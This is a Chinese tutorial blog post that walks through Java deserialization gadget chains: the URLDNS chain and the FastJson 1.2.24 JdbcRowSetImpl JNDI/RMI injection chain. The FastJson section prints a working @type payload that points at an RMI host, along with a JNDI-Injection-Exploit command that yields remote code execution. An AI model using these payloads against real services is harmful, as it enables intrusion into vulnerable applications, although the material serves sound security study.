当前位置: 首页 > news >正文

Web开发-JavaEE应用原生和FastJson反序列化URLDNS链JDBC链Gadget手搓

知识点:
1、安全开发-JavaEE-原生序列化-URLDNS链分析
2、安全开发-JavaEE-FastJson-JdbcRowSetImpl链分析

利用链也叫"gadget chains",我们通常称为gadget:
1、共同条件:实现Serializable或者Externalizable接口,最好是jdk自带或者JAVA常用组件里有
2、入口类source:(重写readObject 调用常见函数 参数类型宽泛 最好jdk自带)
3、调用链gadget chain:相同方法名、相同类型
4、执行类sink:RCE SSRF 写文件等等

在这里插入图片描述
在这里插入图片描述

一、演示案例-WEB开发-JavaEE-原生反序列化&URLDNS链(JDK自带链)

利用链跟踪

java.util.HashMap实现了Serializable接口满足条件后,通过HashMap里面的hash到key.hashCode(),key的转变URL类,再到hashCode为-1触发URLStreamHandler.hashCode
HashMap->readObject
HashMap->putVal(put)        
HashMap->hash
key.hashCode->
URL.hashCode->              
handler.hashCode->
URLStreamHandler.getHostAddress

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

写利用链

参考:https://mp.weixin.qq.com/s/R3c5538ZML2yCF9pYUky6g

搞清楚入口类,需要修改的值,需要传递的值,
创建一个HashMap泛型,(后续操作URL类即int类型值)
在创建一个url连接,(将要请求的地址写入对应代码的U)
用put方法把url数据存放到里面,触发putVal(hash(key)
其中hash里面会调用key.hashCode()
最终触发点是key,所以我们就需要给key的类型设置成URL类,
通过逻辑让hashCode的值为-1后调用handler.hashCode即URLStreamHandler.hashCode,最终调用里面的getHostAddress实现

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

二、演示案例-WEB开发-JavaEE-FastJson反序列化&JDBC链(JDK自带链)

在这里插入图片描述
参考:https://mp.weixin.qq.com/s/t8sjv0Zg8_KMjuW4t-bE-w

FastJson是啊里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。其实简单的来说就是处理json格式的数据的。例如将json转换成一个类。或者是将一个类转换成一段json数据。Fastjson 是一个 Java 库,提供了Java 对象与 JSON 相互转换。

<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.24</version>
</dependency>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

1、序列化方法

JSON.toJSONString(),对象转换为JSON字符串;
JSON.toJSONBytes(),对象转换为byte数组;

2、反序列化方法

JSON.parseObject(),返回JsonObject;
JSON.parse(),返回Object;
JSON.parseArray(), 返回JSONArray;
将JSON对象转换为java对象:JSON.toJavaObject();
将JSON对象写入write流:JSON.writeJSONString()

3、常用

JSON.toJSONString(),JSON.parse(),JSON.parseObject()

在这里插入图片描述
在这里插入图片描述

4、引出安全-序列化固定类后,反序列化不指定类后

在这里插入图片描述

parse方法在调用时会调用set方法

在这里插入图片描述

parseObject在调用时会调用set和get方法

在这里插入图片描述

5、引出安全-序列化固定类后,反序列化指定类后

parseObject在调用时会调用set方法

在这里插入图片描述

6、安全利用链

JDK自带链-JdbcRowSetImpl:
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
String payload = "{" +"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +"\"dataSourceName\":\"rmi://xx.xx.xx.xx/xxxx\", " +"\"autoCommit\":true" +"}";
JSON.parse(payload);反序列化对象:com.sun.rowset.JdbcRowSetImpl
改动的成员变量:dataSourceName autoCommitsetdataSourceName->getdataSourceName
setautoCommit->connect->DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());RMI注入:触发RCE
DataSource var2 = (DataSource)var1.lookup("rmi://192.168.1.2:1099/jvelrl");

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
生成RMI恶意调用类:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc"

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

相关文章:

  • 构件技术(高软58)
  • 永磁同步电机控制中,滑模观测器是基于反电动势观测转子速度和角度的?扩展卡尔曼滤波观测器是基于什么观测的?扩展卡尔曼滤波观测器也是基于反电动势吗?
  • 高防CDN、高防IP vs 高防服务器:核心优势与选型指南
  • spring:注解@Component、@Controller、@Service、@Reponsitory
  • 【实施运维】在谷歌浏览器离线安装360浏览器插件
  • C++指针和引用之区别(The Difference between C++Pointers and References)
  • mcp和API区别
  • 【时时三省】(C语言基础)循环结构程序设计
  • 好用的链接
  • frp frp_0.62.0
  • 上门送水小程序区域代理模块框架设计
  • 电脑知识 | TCP通俗易懂详解 <三>tcp首部中ACK、SYN、FIN等信息填写案例_握手时
  • 前端VUE框架理论与应用(10)
  • 【Ragflow】18.更好的推理框架:vLLM的docker部署方式
  • Golang Event Bus 最佳实践:使用 NSQite 实现松耦合架构
  • JDBC与MyBatis全面解析:从基础到比较
  • 如何优雅的关闭线程池
  • 深度学习常见模块实现001
  • 为什么 Transformer 要使用多头注意力机制?
  • Log4j2远程命令执行(CVE-2021-44228)复现
  • 东莞商业网站建设常识/google下载安卓版下载
  • 自己做的网站服务器开了进不去/怎么在百度制作自己的网站
  • 公安网站建设素材/seo关键词快速排名前三位
  • 个人做慈善网站/网站页面seo
  • 网站建设的相关问题/线上推广渠道有哪些方式
  • 杭州建设厅官网/网页优化包括